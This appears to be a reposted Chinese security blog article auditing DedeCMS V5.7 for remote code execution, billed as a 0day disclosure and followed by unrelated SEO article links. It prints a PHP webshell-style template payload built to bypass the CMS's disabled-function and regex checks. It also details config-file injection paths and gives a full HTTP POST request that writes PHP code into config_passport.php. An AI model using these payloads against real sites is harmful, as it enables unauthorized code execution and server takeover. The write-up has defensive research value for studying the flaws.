首页 » SEO优化 » dedecms90secphp技巧_DedecmsV57 RCE审计分析3月版0day披露

dedecms90secphp技巧_DedecmsV57 RCE审计分析3月版0day披露

访客 2024-10-30 0

扫一扫用手机浏览

文章目录 [+]

下载地址

https://updatenew.dedecms.com/base-v57/package/patch-v57sp2&v57sp1&v57-20230223.zip

dedecms90secphp技巧_DedecmsV57 RCE审计分析3月版0day披露

利用小皮支配,www目录下放源码,利用phpstrom进行动态调试即可

dedecms90secphp技巧_DedecmsV57 RCE审计分析3月版0day披露
(图片来自网络侵删)

初始化数据库配置安装

安装完成

RCErce-模板文件绕过正则实现rce

代码位置

uploads/dede/article_string_mix.php

修正模板文件

<?php$a = $GLOBALS["_GET"];$b = $GLOBALS["_GET"];$a['value1']($b['value2'])?>

文件存储路径

uploads/data/downmix.data.php

访问模板文件测试shell

剖析

看到在29行的时候对文件内容利用正则表达式进行了校验

在31行到33行是对diasble的方法做了定义,循环是对文件内容是否利用了disablefunction进行了校验,如果传入的内容含有disable的方法则返复书息DedeCMS提示:当前页面中存在恶意代码,当文件内容为一句话

返复书息如下

无法绕过循环,当文件内容为

<?php$a = $GLOBALS["_GET"];$b = $GLOBALS["_GET"];$a['value1']($b['value2'])?>

的时候这里是可以绕过代码后真个校验内容,debug往下跟

在这里对文件内容做正则匹配

连续向下跟进直接写入文件了,导致rce

以是这里针对模板文件修正实现RCE的话,只要绕过循环以及正则就可以实现,以是免杀马的话就没有问题。

文件上传RCE

/uploads/dede/file_manage_main.php /uploads/dede/file_manage_view.php?fmdo=newfile&activepath=%2Fuploads/uploads/dede/file_manage_view.php?fmdo=upload&activepath=%2Fuploads

检索ctrl+shift+f

rce-配置文件实现rce

前端修正配置文件导致rce,这里实在可以比拟5.7的不同小版本,在106这个版本前后比较明显,在106版本之前,根据fwrite()检索

路径uploads\dede\sys_info_mark.php,前端

修正配置直接写入

配置文件/mark/inc_photowatermark_config.php

这里\被转义为\\测试创造106之前的版本都是没问题的。
由于106版本在代码位置多了转义增加了一个反斜杠

在版本106以及107中,在参数配置文件中同样做了增加反斜杠的代码部分,参数转义后的参数值如下图

在35行添加了反斜杠,但是在106版本之前依旧可以实现后端RCE

/dede/sys_info.php

在106版本之前,该位置无函数addslashes

以是在这里直接修正配置参数

可直接实现rce

http://dedecms.org:9999/uploads/data/config.cache.inc.php

但是通畅证配置的功能在106版以及最新的107版中并未利用addslashes()函数对参数值进行添加反斜杠,路径为

/uploads/dede/sys_passport.php

中的代码并未做任何加固以及补丁,利用BC比拟

两端代码同等,利用payload进行debug剖析

POST /uploads/dede/sys_passport.php HTTP/1.1Host: dedecms.org:9999User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 162Origin: http://dedecms.org:9999Connection: closeReferer: http://dedecms.org:9999/uploads/dede/sys_passport.phpCookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=eh4uq681vd4m4cpf0c1jv6q7td; _csrf_name_a20d95d7=9a1330d9413d7550843ea533405a9908; _csrf_name_a20d95d71BH21ANI1AGD297L1FF21LN02BGE1DNG=ec2abc545b3af7e5; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=1442494cd39124c2; DedeLoginTime=1680536871; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=941cc93ac807533a; XDEBUG_SESSION=XDEBUG_ECLIPSEUpgrade-Insecure-Requests: 1dopost=save&edit___cfg_pp_encode=FwCCr9938B&edit___cfg_pp_login=d&edit___cfg_pp_exit=t%5C&edit___cfg_pp_reg=%3Bphpinfo%28%29%3B%2F&imageField.x=36&imageField.y=4

保存成功echo后要求配置文件

http://dedecms.org:9999/uploads/include/config_passport.php

这里直接写入一句话实现RCE即可。

在这里实在比拟在rce- 配置文件实现rce开头的位置路径uploads\dede\sys_info_mark.php的剖析可以创造这个位置在输入参数内容存在反斜杠的时候由于函数stripslashes删掉了一个反斜杠,以是终极的配置文件内容为

stripslashes()函数的浸染

运行实例

小结

供应一些发散的思路吧,后真个RCE的利用基本都可以环绕这两点。

from https://sec-in.com/article/2167

标签:

相关文章

今日头条算法岗三面算法工程师的面试之路

大数据和人工智能技术逐渐成为各行各业的热门话题。今日头条作为中国领先的资讯平台,其算法岗位一直是求职者争相竞逐的焦点。本文将针对今...

SEO优化 2025-01-31 阅读1 评论0

今日头条算法如何打造个化内容推荐

在移动互联网时代,信息爆炸已成为常态。如何在海量信息中找到自己感兴趣的内容,成为了一个亟待解决的问题。今日头条作为一款备受瞩目的新...

SEO优化 2025-01-31 阅读1 评论0

今日头条算法推荐其弊端与反思

算法推荐已经成为各大平台的核心竞争力。今日头条作为国内领先的资讯平台,凭借其强大的算法推荐系统,吸引了大量用户。在享受算法带来的便...

SEO优化 2025-01-31 阅读1 评论0

今日头条算法思维导图信息推荐的奥秘

信息传播速度越来越快,用户对信息的需求也越来越多样化。今日头条作为一款备受关注的新闻资讯平台,其背后的算法推荐机制一直是业界关注的...

SEO优化 2025-01-31 阅读1 评论0